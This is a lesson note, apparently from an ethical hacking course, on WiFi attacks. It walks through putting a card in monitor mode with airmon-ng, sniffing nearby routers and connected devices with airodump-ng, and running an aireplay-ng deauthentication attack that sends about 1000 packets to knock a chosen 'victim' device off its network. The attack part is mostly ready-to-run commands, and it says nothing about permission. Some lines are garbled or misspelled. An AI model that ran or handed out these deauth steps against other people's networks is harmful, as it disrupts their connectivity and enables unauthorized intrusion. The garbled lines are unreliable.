Day 31 Wifi Hacking
Day 31 Wifi Hacking
DAY 31 OF 75 DAYS
ETHICAL HACKING
COURSE
WiFi Technologies:
WiFi is a type of wireless networking technology that uses radio waves to connect devices to the internet or communicate witheach other.
In summary, WEP is the weakest and most easily crackable, while WPA3 is the strongest and most secure. WPA and WPA2 are considered mid-range in terms of security, but
still vulnerable to hacking. When it comes to hacking, WPA3 is the most challenging to crack, but not impossible.
• run command
• $ airmon-ng start wlan0
• Some times it start working so have to check
• $ ifconfig ( if will be working then you can see wlan0mon instead of wlan0)
• For confirmation you can run
• $ iwconfig wlan0mon
• Ok
• And it this not works then
• $ airmon-ng check kill
• $airmon-ng start wlan0
➢ Network-Sniffing_____
➢ First we will start getting some information from the network with the help of monitor mode ok
➢ Lets get into monitor mode
➢ $ airmon-ng start wlan0
➢ Then I will run command to see how many networks is up around me and I will collect information
➢ As you can see my around is iphone hotspot or router so I will collect some info
➢ BSSID > this is mac address of router or hotspot
➢ PWR > this indicates the distance of router from us means if the number is bigger the router is near to us ook
➢ Beaconse > data packets
➢ Ch > means channel means on which channel we are connected with the router ok we can change the channel number to for betterinternet speed
➢ And then
➢ ENC > stands for security type ( encryption)
➢ ESSID > stands for router name
➢ c add
➢ As you can see the commands and result by yourself you can write oStations means the device connected with router and there maut like this
➢ Writing file is not neccesary but if we write we can analyis in wireshark in detailed ok
➢ Or if we want to find out any file with name in linux then we can run coomad
➢ $ ls <file name>*
➢ $ ls test*
➢ Deauthentication attack___
➢ Here a means the source mac add means the router mac add
➢ And c means the victims means destination mac add ok
➢ And we can send either 1000 deauth pakcets etc and 100 etc
➢ And if we got any error then we can clsoe all stuff and
➢ Will all things that is nessecery for monitor mode
➢ $ airmon-ng check killThen we will select specific target and then
➢ $ airodump-ng --channel <name> --bssid <mac addr of router> wlan0
➢ Then we will select which one we want to disconnect and the I will open new window and then run command
➢ In this case we will be using aireplay-ng
➢ So
➢ $ aireplay-ng --deauth <choose yours I will prefer 1000> -a <router mac add> -c < victim mac addr> wlan0
➢ And you are done